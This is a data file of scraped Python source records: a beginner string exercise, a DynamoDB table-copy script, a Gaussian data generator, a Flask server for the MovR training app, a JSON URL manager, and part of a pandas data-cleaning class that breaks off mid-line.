+{"seq_id":"201204778","text":"# a=\"this is a string\"\n# b=a.split(\" \")\n# print(b)\n# c='-'.join(a)\n# print(c)\n#\n# c='-'.join(b)\n# print(c)\n# x=12\n# def fun():\n#     global x\n#     x=2\n#     x=x+2\n#     print(x)\n#\n# fun()\n\n# def fact(n):\n#     if n==0:\n#         return 1\n#     else:\n#         return n*fact(n-1)\n#\n# print(\"fact=\",fact(-5))\n#\n# a,b=1,0\n# try:\n#     c=a/b\n#     print (c)\n#\n# except:\n#     print(\"there is an exception\")\n#\n# finally:\n#     print(\"finally block\")\n\n\n# str1=\"aba\"\n#\n# if str==str1[::-1]:\n#     print('pal')\n# str=\"abc\"\n# string=\"\"\n# for i in str:\n#     string=i+string;\n#\n# print(string)\n#\n# list1=['a','b','c']\n# list1.pop()\n# print(list1)\n# list1.remove(list1[0])\n# print(list1)\n\n\n# str=\"abc\"\n# string=\"\"\n# string=\"\".join(reversed(str))\n# print(string)\n\nstr=\"abc\"\nstring=\"\"\nj=0\nfor i in range(len(str)-1,0):\n    print(len(str))\n    string[j]=str[i]\n    j=j+1\nprint(string)\n\n","sub_path":"day01/13-9-19.py","file_name":"13-9-19.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"353097572","text":"#!/usr/bin/python\nimport argparse  # {{{ imoprt\nimport boto3 as boto3\nimport sys\nimport os  # }}}\n\n\nparser = argparse.ArgumentParser(description='Copies dynamodb')  # {{{\n\nparser.add_argument('--src', help='Table name of dynamodb to be cpied from')\nparser.add_argument('--dst', help='Table name of destination')\nparser.add_argument('-f', '--function_name', help='Name of lambda function to copy. Ex. devIoTExDriverAlexaFunctions')\nparser.add_argument('-d', '--dry-run', action='store_true')\nparser.add_argument('--dev_to_trial', action='store_true')\nparser.add_argument('--trial_to_prod', action='store_true')\nparser.add_argument('--copy', action='store_true')\nparser.add_argument('--show_diff', action='store_true')\n\nargs = parser.parse_args()  # }}}\n\n\ndynamodb = boto3.resource('dynamodb')  # {{{\n\n''' currently unsupported\nmynamodb = boto3.resource('dynamodb',\n                           aws_access_key_id='',          # put your aws credentials here if you\n                           aws_secret_access_key='',      # want to migrate to another aws account\n                           region_name='ap-northeast-1')\n'''\n\nsrc_table = dynamodb.Table(args.src)\ndst_table = dynamodb.Table(args.dst)  # }}}\n\n\ndef main():  # {{{\n\n    if table_exists(src_table):  # {{{\n        print('source table: %s' % src_table.table_arn)\n    else:\n        print(\"source table doesn't exist\")\n        sys.exit(1)  # }}}\n\n    if table_exists(dst_table):  # {{{\n        print('destination table: %s' % dst_table.table_arn, end='\\n')\n    else:\n        print(\"destination table doesn't exist\", end='\\n')\n        # create_destination_table(src_table, args.dst)  # }}}\n\n    print('', end='\\n')\n\n    if args.trial_to_prod:  # {{{\n        _from = 'trial'\n        _to = 'prod'  # }}}\n    if args.dev_to_trial:  # {{{\n        _from = 'dev'\n        _to = 'trial'  # }}}\n\n    if args.function_name:\n        target = args.function_name\n        if 'IoTExDriver' in target and target.endswith('Functions'):  # {{{\n            if not args.function_name.startswith('aws.lambda.'):\n                target = 'aws.lambda.' + args.function_name\n        else:\n            target = 'None'  # }}}\n\n    if args.copy:\n        migrate_function_records(_from, _to, target)\n\n    if args.show_diff:\n        show_diff(_from, _to, target)\n\n    print ('We are done. Exiting...')  # }}}\n\n\ndef table_exists(table :dynamodb.Table) -> bool:  # {{{\n    result = False\n    try:\n        result = table.table_status in (\"CREATING\", \"UPDATING\", \"DELETING\", \"ACTIVE\")\n    except:\n        result = False\n    return result  # }}}\n\n\ndef create_destination_table(src_table: dynamodb.Table, dst_table_name: str):  # {{{\n    try:\n        print('Creating %s. Please wait...' % dst_table_name)\n        dst_table = dynamodb.create_table(  # {{{\n                TableName=dst_table_name,\n                KeySchema=src_table.key_schema,\n                AttributeDefinitions=src_table.attribute_definitions,\n                ProvisionedThroughput={\n                    'ReadCapacityUnits': src_table.provisioned_throughput['ReadCapacityUnits'],\n                    'WriteCapacityUnits': src_table.provisioned_throughput['WriteCapacityUnits']\n                    }\n            )  # }}}\n        dst_table.wait_until_exists()\n        print('Created %s.' % dst_table_name)\n    except Exception as e:\n        print(e)\n        sys.exit(1)  # }}}\n\n\ndef migrate_function_records(_from :str, _to :str, target :str):  # {{{\n\n    with dst_table.batch_writer() as batch:  # {{{\n        print('Copying items...')\n        print('target_function: %s' % target)\n        for item in src_table.scan()['Items']:\n            if ((item.get('virtual_driver_command_key', '').startswith(target)) \\\n                  or (item.get('driver_edge_thing_key', '').startswith(target)) \\\n                              or (item.get('driver_id', '').startswith(target))):\n                for k, v in item.items():\n                    if type(v) == str and _from in v:\n                        item[k] = v.replace(_from ,_to)\n\n                print(item, end='\\n')\n                print('', end='\\n')\n\n                None if args.dry-run else batch.put_item(Item=item)\n\n        print('finished')  # }}}\n    # }}}\n\n\ndef show_diff(_from :str, _to :str, target :str):  # {{{\n\n    print('Showing diff between %s and %s' % (target, _to))\n    print('', end='\\n')\n\n    for item in src_table.scan()['Items']:  # {{{\n        if item.get('virtual_driver_command_key', '').startswith(target):\n            # k = {'driver_thing_attr_key': item['driver_thing_attr_key'].replace(_from, _to), \"service_id\":item['service_id']}\n            # compare = dst_table.get_item(Key=k)\n            pass  # TODO \n            print('#TODO')  # }}}\n\n        if item.get('driver_thing_attr_key', '').startswith(target):  # {{{\n            try:\n                # print(type(item['available_command']))\n                l1 = [ i['command_code'] for i in item['available_command'] ]\n            except Exception as e:\n                print(item)\n                print(str(e))\n            if '$virtual_set_cache_value' in l1:\n                l1.remove('$virtual_set_cache_value')\n\n            if _from and _to:\n                k = {'driver_thing_attr_key': item['driver_thing_attr_key'].replace(_from, _to), \"service_id\":item['service_id']}\n            else:\n                k = {'driver_thing_attr_key': item['driver_thing_attr_key'], \"service_id\":item['service_id']}\n            compare = dst_table.get_item(Key=k)\n            l2 = []\n            if 'Item' in compare:\n                l2 = [ i['command_code'] for i in compare['Item']['available_command'] ]\n                if '$virtual_set_cache_value' in l2:\n                    l2.remove('$virtual_set_cache_value')\n            else:\n                print('compare not found in %s' % _to)\n                print('Key = %s' % k, end='\\n')\n                print(item,end='\\n')\n                print('', end='\\n')\n                continue\n\n            if set(l1) == set(l2):\n                print('%s same' % item['driver_thing_attr_key'])\n                print('Key = %s' % k, end='\\n')\n                print('', end='\\n')\n            else:\n                print('%s differ' % item['driver_thing_attr_key'])\n                print('Key = %s' % k, end='\\n')\n                print(item)\n                print(compare['Item'])\n                print('', end='\\n')  # }}}\n\n        if item.get('driver_edge_thing_key', '').startswith(target):  # {{{\n            compare = dst_table.get_item(Key={'driver_edge_thing_key': item['driver_edge_thing_key'].replace(_from, _to)})\n            print('#TODO')  # }}}\n\n        if item.get('driver_id', '').startswith(target):  # {{{\n            compare = dst_table.get_item(Key={'driver_id': item['driver_id'].replace(_from, _to)})\n            print('#TODO')\n            print(item)\n            print(compare)  # }}}\n\n    print('finished')  # }}}\n\n\nmain()\n\n","sub_path":"dynamodb-copy-table3.py","file_name":"dynamodb-copy-table3.py","file_ext":"py","file_size_in_byte":6897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"508887601","text":"from numpy import *\nimport math\nimport copy\nimport numpy as np\nimport pickle\nimport sys\n\ndef ini_data(sigma, init_mu, mix, N):\n    data = []                # 1行N列的的矩阵，型如【0,0,0,0,0,0，...】\n    for i in range(0, N):\n        temp = np.random.random(1)\n        if temp < mix[0]:\n            data.append(np.random.normal() * sigma[0] + init_mu[0])\n        else:\n            data.append(np.random.normal() * sigma[1] + init_mu[1])\n    return data\n\n\nif __name__ == \"__main__\":\n    sigma = [5.0, 3.0]  # 初始化数据方差，一维数据\n    init_mu = [5, 65]  # 初始化数据均值\n    mix = [0.7, 0.3]  # 混合系数\n    K = 2  # 数据种类，需要和方差均值数量对应\n    N = 50000  # 数据数量总和\n\n    data_kmeans = ini_data(sigma,init_mu,mix,N)\n    data_em = ini_data(sigma,init_mu,mix,N)\n\n    with open('kmeans_data.pickle', 'wb') as kmeans:\n        pickle.dump(data_kmeans, kmeans)\n    with open('em_data.pickle', 'wb') as em:\n        pickle.dump(data_em, em)\n    print(\"数据生成成功,文件名为：kmeans_data.pickle,em_data.pickle\")","sub_path":"homework/assignment2/EmAndKmeans/normal.py","file_name":"normal.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"399255008","text":"#!/usr/bin/env python3\n\"\"\"\nRuns the MovR web server on your local machine.\n\nUses the .env file from the current directory to supplement\n    environment variables while running.\n\nUsage:\n    ./server.py run [options]\n    ./server.py --help\n\nOptions:\n    -h --help               Show this text.\n    --port <port>           Port where the server listens for requests.\n                                [default: 36257]\n    --url <url>             CockroachDB connection string. If none, it will use\n                                the .env file or the DB_URL environment\n                                variable.\n    --max-records <number>  Maximum number of records to query when no filter\n                                is specified [default: 20]\n\"\"\"\n\nfrom docopt import docopt\nfrom flask import (Flask, flash, Markup, redirect, render_template,\n                   send_from_directory, session, url_for)\nfrom flask_bootstrap import Bootstrap, WebCDN\nfrom flask_login import (LoginManager, current_user, login_user, logout_user,\n                         login_required)\nfrom sqlalchemy.exc import IntegrityError, ProgrammingError, DBAPIError\n\nfrom movr.movr import MovR\nfrom util.calculations import generate_end_ride_messages\nfrom util.connect_with_sqlalchemy import (build_sqla_connection_string,\n                                          test_connection)\nfrom util.exception_handling import render_error_page\nfrom web.config import Config\nfrom web.forms import (EndRideForm, ViewRideForm, LoginForm, RegisterForm,\n                       RemoveUserForm, RemoveVehicleForm, SeeVehicleForm,\n                       StartRideForm, VehicleForm)\n\n# Initialize the web server app & load bootstrap\napp = Flask(__name__)\nBootstrap(app)\nlogin = LoginManager(app)\n\n# Parse the command line options\n_opts = docopt(__doc__)\n_PORT = int(_opts['--port'])\n_URL = _opts['--url']\n_MAX_RECORDS = _opts['--max-records']\n_DEFAULT_ROUTE_AUTHENTICATED = \"vehicles\"\n_DEFAULT_ROUTE_NOT_AUTHENTICATED = \"login_page\"\n\n# Configure the app\napp.config.from_object(Config)\n\nif _URL is None:  # No --url flag; check for environment variable DB_URI\n    environment_connection_string = app.config.get('DB_URI')\n    CONNECTION_STRING = build_sqla_connection_string(\n        environment_connection_string)\nelse:  # url was passed with `--url`\n    CONNECTION_STRING = build_sqla_connection_string(_URL)\n# Load environment variables from .env file\n\n# Instantiate the movr object defined in movr/movr.py\nmovr = MovR(CONNECTION_STRING, max_records=_MAX_RECORDS)\n\napp.extensions['bootstrap']['cdns']['bootstrap'] = WebCDN(\n    '//getbootstrap.com/docs/4.5/dist/'\n)\n\n# Verify connection to database is working.\n# Suggest help if common errors are encountered.\ntest_connection(movr.engine)\n\n\n# ROUTES\n# Home page\n@app.route('/', methods=['GET'])\ndef home_page():\n    \"\"\"\n    Redirects to appropriate default page.\n    \"\"\"\n    session['riding'] = None\n    if current_user.is_authenticated:\n        return redirect(url_for(_DEFAULT_ROUTE_AUTHENTICATED, _external=True))\n\n    return redirect(url_for(_DEFAULT_ROUTE_NOT_AUTHENTICATED, _external=True))\n\n\n# Define user_loader function for LoginManager\n@login.user_loader\ndef load_user(email):\n    \"\"\"\n    Gets a User object for the LoginManager\n    \"\"\"\n    return movr.get_user(email)\n\n\n# User page\n@app.route('/profile', methods=['GET'])\n@login_required\ndef profile():\n    \"\"\"\n    Displays the user's User Profile page.\n    \"\"\"\n    remove_user_form = RemoveUserForm()\n    if current_user.is_authenticated:\n        return render_template('user.html',\n                               title='{0} {1}'.format(current_user.first_name,\n                                                      current_user.last_name),\n                               remove_user_form=remove_user_form,\n                               API_KEY=app.config.get('API_KEY'))\n    flash('You need to log in to see your profile!')\n    return redirect(url_for('login_page', _external=True))\n\n\n# Rides page\n@app.route('/rides', methods=['GET'])\n@login_required\ndef rides():\n    \"\"\"All rides a user has taken.\n    \"\"\"\n    users_rides = movr.get_rides_by_user(current_user.email)\n    for ride in users_rides:\n        if ride['end_ts'] is None:\n            session['riding'] = True\n            break\n\n    return render_template('rides.html',\n                           title='Rides',\n                           rides=users_rides,\n                           riding=session['riding'],\n                           form=ViewRideForm(),\n                           API_KEY=app.config.get('API_KEY'))\n\n\n# Login page\n@app.route('/login', methods=['GET', 'POST'])\ndef login_page():\n    \"\"\"Lets the user log in.\"\"\"\n    if current_user.is_authenticated:\n        return redirect(url_for(_DEFAULT_ROUTE_AUTHENTICATED, _external=True))\n    form = LoginForm()\n    if form.validate_on_submit():\n        user = movr.get_user(email=form.email.data)\n        if user is None:\n            flash(\n                Markup('Invalid user credentials.<br>If you aren\\'t '\n                       'registered with MovR, go <a href=\"{0}\">'\n                       'Sign Up</a>!'\n                       ).format(url_for('register', _external=True)))\n            return redirect(\n                url_for('login_page', _external=True))\n        login_user(user)\n        return redirect(\n            url_for(_DEFAULT_ROUTE_AUTHENTICATED, _external=True))\n    return render_template('login.html',\n                           title='Log In',\n                           form=form)\n\n\n# Logout route\n@app.route('/logout')\n@login_required\ndef logout():\n    \"\"\"User logs out.\"\"\"\n    logout_user()\n    session['riding'] = None\n    flash('You have successfully logged out.')\n    return redirect(url_for(_DEFAULT_ROUTE_NOT_AUTHENTICATED, _external=True))\n\n\n# Registration page\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    \"\"\"Register as a new user.\"\"\"\n    if current_user.is_authenticated:\n        flash(\"Cannot register a new user while logged in.\")\n        return redirect(url_for(_DEFAULT_ROUTE_AUTHENTICATED, _external=True))\n    form = RegisterForm()\n    if form.validate_on_submit():\n        logout_user()  # Sometimes required to kill an old session\n        email = form.email.data\n        last_name = form.last_name.data\n        first_name = form.first_name.data\n        phone_numbers = form.phone_number.data\n        try:\n            if movr.add_user(email=email, last_name=last_name,\n                             first_name=first_name,\n                             phone_numbers=phone_numbers):\n                # Check to see if lab is complete\n                if movr.get_user(email) is not None:\n                    flash(('Registration successful! You can now log in as '\n                           '`{}`.').format(email))\n                    return redirect(\n                        url_for('login_page', _external=True))\n                else:\n                    flash(\"User registration failed. Please compete \"\n                          \"`Lab: Adding Users to MovR` and try again.\")\n                    return redirect(url_for('register', _external=True))\n\n            else:\n                flash(('add_user_txn(session, \"{email}\", \"{last_name}\", '\n                       '\"{first_name}\", \"{phone_numbers}\") failed for unknown '\n                       'reasons. Please copy this message and send it to '\n                       'univeristy@cockroachlabs.com for analysis.'\n                       ).format(email=email,\n                                last_name=last_name,\n                                first_name=first_name,\n                                phone_numbers=phone_numbers))\n        except DBAPIError as sql_error:\n            flash(('Registration failed. Make sure that you choose '\n                   'a unique email!'))\n            flash(('{0}'.format(sql_error)))\n            return redirect(\n                url_for('register', _external=True))\n    return render_template('register.html',\n                           title='Sign Up',\n                           form=form)\n\n\n# Remove user route\n@app.route('/user/delete', methods=['POST'])\n@login_required\ndef remove_user():\n    \"\"\"\n    Deletes the user from the database.\n    \"\"\"\n    movr.remove_user(current_user.email)\n    logout_user()\n    session['riding'] = None\n    flash('You have successfully deleted your account.')\n    return redirect(url_for(_DEFAULT_ROUTE_NOT_AUTHENTICATED, _external=True))\n\n\n# Vehicles page\n@app.route('/vehicles', methods=['GET'])\n@login_required\ndef vehicles(max_vehicles=_MAX_RECORDS):\n    \"\"\"\n    Shows the vehicles page, listing all vehicles.\n    \"\"\"\n    try:\n        start_ride_form = StartRideForm()\n        see_vehicle_form = SeeVehicleForm()\n        some_vehicles = movr.get_vehicles(max_vehicles=max_vehicles)\n        return render_template('vehicles.html',\n                               title='Vehicles',\n                               vehicles=some_vehicles,\n                               start_ride_form=start_ride_form,\n                               see_vehicle_form=see_vehicle_form)\n    except ProgrammingError as error:\n        return render_error_page(error, movr)\n\n\n# Single vehicle page\n@app.route('/vehicle/<vehicle_id>', methods=['GET', 'POST'])\n@login_required\ndef vehicle(vehicle_id):\n    \"\"\"View information for a single vehicle.\"\"\"\n    start_ride_form = StartRideForm()\n    remove_vehicle_form = RemoveVehicleForm()\n    this_vehicle, location_history = movr.get_vehicle_and_location_history(\n        vehicle_id, max_locations=_MAX_RECORDS)\n    if this_vehicle is None:\n        flash(\"Vehicle `{}` not found.\".format(vehicle_id))\n        return redirect(url_for('vehicles', _external=True))\n    return render_template('vehicle.html',\n                           title='Vehicle {}'.format(vehicle_id),\n                           vehicle=this_vehicle,\n                           locations=location_history,\n                           start_ride_form=start_ride_form,\n                           remove_vehicle_form=remove_vehicle_form)\n\n\n# Remove a vehicle\n@app.route('/vehicle/remove/<vehicle_id>', methods=['POST'])\n@login_required\ndef remove_vehicle(vehicle_id):\n    \"\"\"Delete a vehicle from the database.\"\"\"\n    vehicle_deleted = movr.remove_vehicle(vehicle_id)\n    if vehicle_deleted:  # Vehicle looks like it was deleted\n        # Verify that it was actually deleted as required by the lab.\n        if movr.get_vehicle(vehicle_id) is None:  # Vehicle looks deleted\n            flash(\"Deleted vehicle with id \"\n                  \"`{id}` from database.\".format(id=vehicle_id))\n            return redirect(url_for('vehicles', _external=True))\n        # else vehicle is still in the database.\n        flash((\"Vehicle `{}` not successfully deleted. Please modify \"\n               \"remove_vehicle_txn in `movr/transactions.py` to implement \"\n               \"the correct functionality.\"\n               ).format(vehicle_id))\n        return redirect(url_for('vehicle', vehicle_id=vehicle_id,\n                                _external=True))\n    elif vehicle_deleted is None:  # Vehicle in use or not in database\n        flash((\"Vehicle `{}` not found in database or not in use. \"\n               \"Cannot delete it.\").format(vehicle_id))\n        return redirect(url_for('vehicles', _external=True))\n\n    return render_error_page(RuntimeError(\n        (\"Attempt to remove vehicle hit unexpected state. \"\n         \"Please notify university@cockroachlabs.com via email of this error \"\n         \"message. Attempted to remove vehicle `{vehicle_id}`. \"\n         \"Current row state is `{row}`.\"\n         ).format(vehicle_id=vehicle_id,\n                  row=movr.get_vehicle(vehicle_id))),\n                             movr)\n\n\n# Start ride route\n@app.route('/ride/start/<vehicle_id>', methods=['POST'])\n@login_required\ndef start_ride(vehicle_id):\n    \"\"\"\n    When the user clicks \"start ride,\" perform DB op & redirect to ride page.\n    \"\"\"\n    user_email = session.get('_user_id')\n    if movr.start_ride(vehicle_id, user_email):\n        flash('Ride started with vehicle {}.'.format(vehicle_id))\n        return redirect(url_for('ride', vehicle_id=vehicle_id, _external=True))\n    flash('Could not start ride on vehicle {}.'.format(vehicle_id))\n    flash('Either the vehicle is actively being ridden, or it has been '\n          'deleted from the database.')\n    return redirect(url_for('vehicles', _external=True))\n\n\n# Ride page\n@app.route('/ride/<vehicle_id>', methods=['GET', 'POST'])\n@login_required\ndef ride(vehicle_id):\n    \"\"\"\n    Show the user the form to end a ride.\n    \"\"\"\n    form = EndRideForm()\n    user_ride = movr.get_active_ride(vehicle_id, current_user.email)\n    if user_ride is None:  # No ride found for vehicle\n        flash(\"Cannot view the ride for this vehicle. It is not currently in \"\n              \"use, or you are not the rider.\")\n        return redirect(url_for('vehicle', vehicle_id=vehicle_id,\n                                _external=True))\n\n    vehicle_at_start = {\"id\": vehicle_id,\n                        \"battery\": user_ride[\"vehicle_battery\"],\n                        \"vehicle_type\": user_ride[\"vehicle_type\"],\n                        \"last_longitude\": user_ride[\"start_longitude\"],\n                        \"last_latitude\": user_ride[\"start_latitude\"],\n                        \"last_checkin\": user_ride[\"start_time\"]}\n\n    if form.validate_on_submit():\n        if movr.end_ride(user_ride[\"id\"], form.longitude.data,\n                         form.latitude.data, form.battery.data):\n            vehicle_at_end = movr.get_vehicle(vehicle_id)\n            for message in generate_end_ride_messages(vehicle_at_start,\n                                                      vehicle_at_end):\n                flash(message)\n            return redirect(url_for('vehicle', vehicle_id=vehicle_id,\n                                    _external=True))\n        # else: end_ride didn't work\n        flash(\"Unable to end ride for vehicle `{id}`.\".format(id=vehicle_id))\n        return redirect(url_for('ride', vehicle_id=vehicle_id, _external=True))\n    return render_template('ride.html',\n                           title=('Riding a {}'\n                                  ).format(vehicle_at_start[\"vehicle_type\"]),\n                           form=form, vehicle=vehicle_at_start, _external=True)\n\n\n# Add vehicles route\n@app.route('/vehicles/add', methods=['GET', 'POST'])\n@login_required\ndef add_vehicle():\n    \"\"\"Add a new vehicle to the fleet.\"\"\"\n    form = VehicleForm()\n    if form.validate_on_submit():\n        vehicle_type = form.vehicle_type.data\n        try:\n            new_info = movr.add_vehicle(vehicle_type=vehicle_type,\n                                        longitude=form.longitude.data,\n                                        latitude=form.latitude.data,\n                                        battery=form.battery.data)\n        except IntegrityError as e:\n            return render_error_page(e, movr)\n        vehicle_id = new_info['vehicle_id']\n\n        # check to verify that vehicle was added\n        new_vehicle = movr.get_vehicle(vehicle_id)\n        if new_vehicle is None:  # Insert didn't work\n            flash((\"Vehicle with id `{}` \"\n                   \"NOT successfully added. Edit add_vehicle_txn in \"\n                   \"movr/transactions.py to add the vehicle to the database.\"\n                   ).format(vehicle_id))\n            redirect(url_for('add_vehicle', _external=True))\n        else:  # Inserted vehicle was found\n            flash('Vehicle added! \\nid: {}'.format(vehicle_id))\n            return redirect(\n                url_for('vehicle', vehicle_id=vehicle_id, _external=True))\n\n    # form not properly filled out yet\n    return render_template('add_vehicle.html',\n                           title='Add a vehicle',\n                           form=form)\n\n\nif __name__ == '__main__':\n    app.run(use_reloader=False, port=_PORT)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":15853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"51781328","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 26 09:07:27 2019\n\n@author: Luis Cristovao\n\nGoal:\n    add edit delete rows from pages.json table\n\n\"\"\"\n\n\n#import json_files #to import json_files module locally\nfrom importlib.machinery import SourceFileLoader\nimport os\nfilename = os.path.join(os.path.dirname(__file__), 'json_files.py')\n#to import module in json_files.py when using server\njson_files=SourceFileLoader(\"json_files.py\", filename).load_module() \n\n\n\ndef getDB():\n    '''\n    goal:\n        return json object inside DB/pages.json\n    '''\n    \n    #dirpath=json_files.get_dirpath_less(2) #to work locally\n    dirpath=json_files.get_dirpath_less(1)# to work as a module of server\n    return json_files.get_json_file(dirpath + \"DB/pages.json\")\n\ndef dumpInDB(new_db):\n    try:\n        #dirpath=json_files.get_dirpath_less(2) #to work locally\n        dirpath=json_files.get_dirpath_less(1)# to work as a module of server\n        json_files.dump_json_in_file(dirpath + \"DB/pages.json\",new_db)\n        return True\n    except:\n        return False\n\ndef detect_if_unique(db,url):\n    '''\n    goal:\n        detect if post has unique title and if that is true returns true else returns false\n    inputs:\n        db:\n            json with all posts data\n        new_title\n            \n    '''\n        \n    return not(url in db.keys())\n\ndef writeRowDB(url,page_site):\n    try:\n        db=getDB()\n        if detect_if_unique(db,url):\n            db[url]=page_site\n            dumpInDB(db)\n            return True\n        else:\n            return False\n    except:\n        return False\n    \n    \ndef editRowDB(old_url,new_url,new_page_site):\n    try:\n        db=getDB()\n        if detect_if_unique(db,new_url) or new_url==old_url:\n            try:\n                del db[old_url]\n            except:\n                # there is not old url in the dbso create new one\n                print(\"old url does not exists! Just creating the new one!\")\n            db[new_url]=new_page_site\n            dumpInDB(db)\n            return True\n        else:\n            return False\n    except:\n        return False\n    \ndef deleteRowDB(url):\n    try:\n        db=getDB()\n        del db[url]\n        dumpInDB(db)\n        return True\n    except:\n        return False\n\nprint(__name__)","sub_path":"SiteFolder/SiteManagement/modules/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"248414301","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn.metrics import roc_auc_score\r\nfrom sklearn.externals import joblib\r\nfrom collections import OrderedDict\r\nfrom datetime import datetime\r\nimport glob\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport itertools\r\nfrom sklearn.metrics import r2_score\r\nimport sys\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.model_selection import train_test_split, KFold\r\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score, roc_auc_score\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\nfrom datetime import datetime\r\nimport glob\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport itertools\r\nimport sys\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.model_selection import train_test_split, KFold\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.tree import DecisionTreeRegressor\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.manifold import TSNE\r\nimport lightgbm as lgb\r\nfrom sklearn.preprocessing import Imputer, PolynomialFeatures, StandardScaler, OneHotEncoder, MinMaxScaler\r\nimport warnings\r\n\r\nwarnings.filterwarnings('ignore')\r\nimport gc\r\n\r\nos.getcwd()\r\npd.options.display.max_columns = None\r\n\r\n\r\nclass datacleaner:\r\n    def __init__(self, trainfile, targetcol, cat_threshold=100):\r\n        # self.df_test = pd.read_csv(testfile,index_col=0)\r\n        # print(self.df_test.columns)\r\n        self.df_train = pd.read_csv(trainfile)\r\n        self.target = targetcol\r\n        self.dfcolumns = self.df_train.columns.tolist()\r\n        self.dfcolumns_nottarget = [col for col in self.dfcolumns if col != self.target]\r\n        self.rejectcols = []\r\n        self.retainedcols = []\r\n        self.catcols = {}\r\n        self.noncatcols = {}\r\n        self.catcols_list = []\r\n        self.noncatcols_list = []\r\n        self.hightarge_corr_col = []\r\n        self.threshold = cat_threshold\r\n\r\n    def retail_reject_cols(self, threshold):\r\n        def retail_reject_cols_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    # print('start')\r\n                    for col in tmpdf:\r\n                        if sum(tmpdf[col].isnull()) > 0:\r\n                            percent_val = sum(tmpdf[col].isnull()) / tmpdf[col].shape[0]\r\n                            # print(f\"For {col} number of nulls are {sum(df[col].isnull())} : {sum(df[col].isnull())/df[col].shape[0]}\")\r\n                            if percent_val > threshold:\r\n                                self.rejectcols.append(col)\r\n                    self.retainedcols = [col for col in tmpdf.columns.tolist() if col not in self.rejectcols]\r\n                    print(f\"INFO : {str(datetime.now())} : Number of rejected columns {len(self.rejectcols)}\")\r\n                    print(f\"INFO : {str(datetime.now())} : Number of retained columns {len(self.retainedcols)}\")\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return retail_reject_cols_lvl\r\n\r\n    # def init_values(self,)\r\n    def refresh_cat_noncat_cols_fn(self, tmpdf, threshold=100):\r\n        try:\r\n            self.catcols = {}\r\n            self.catcols_list = []\r\n            self.noncatcols = {}\r\n            self.noncatcols_list = []\r\n            self.dfcolumns = tmpdf.columns.tolist()\r\n            self.dfcolumns_nottarget = [col for col in self.dfcolumns if col != self.target]\r\n            for col in self.dfcolumns_nottarget:\r\n                col_unique_cnt = tmpdf[col].nunique()\r\n                if (col_unique_cnt < threshold) and (\r\n                        (tmpdf[col].dtype != 'float32') and (tmpdf[col].dtype != 'float64')):\r\n                    self.catcols.update({col: col_unique_cnt})\r\n                    self.catcols_list.append(col)\r\n                else:\r\n                    self.noncatcols.update({col: col_unique_cnt})\r\n                    self.noncatcols_list.append(col)\r\n        except:\r\n            sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n    def refresh_cat_noncat_cols(self, threshold):\r\n        def refresh_cat_noncat_cols_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.catcols = {}\r\n                    self.catcols_list = []\r\n                    self.noncatcols = {}\r\n                    self.noncatcols_list = []\r\n                    self.dfcolumns = tmpdf.columns.tolist()\r\n                    self.dfcolumns_nottarget = [col for col in self.dfcolumns if col != self.target]\r\n                    for col in self.dfcolumns_nottarget:\r\n                        col_unique_cnt = tmpdf[col].nunique()\r\n                        if (col_unique_cnt < threshold) and (\r\n                                (tmpdf[col].dtype != 'float32') and (tmpdf[col].dtype != 'float64')):\r\n                            self.catcols.update({col: col_unique_cnt})\r\n                            self.catcols_list.append(col)\r\n                        else:\r\n                            self.noncatcols.update({col: col_unique_cnt})\r\n                            self.noncatcols_list.append(col)\r\n                    #print('ref' + str(len(self.noncatcols_list)))\r\n                    #print('ref' + str(self.noncatcols_list))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return refresh_cat_noncat_cols_lvl1\r\n\r\n    def findcatcols(self, th):\r\n        for col in self.dfcolumns_nottarget:\r\n            col_unique_cnt = self.df_train[col].nunique()\r\n            if col_unique_cnt < th:\r\n                # print(f\"{col} is category with unique values {df[col].nunique()}\")\r\n                self.catcols.update({col: col_unique_cnt})\r\n            else:\r\n                self.noncatcols.update({col: col_unique_cnt})\r\n        print(f\"INFO : {str(datetime.now())} : Number of categorical column is {len(self.catcols.keys())}\")\r\n        print(f\"INFO : {str(datetime.now())} : Number of Non categorical column is {len(self.noncatcols.keys())}\")\r\n        return self.catcols, self.noncatcols\r\n\r\n    def standardize_stratified(self, includestandcols=[]):\r\n        def standardize_stratified_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col 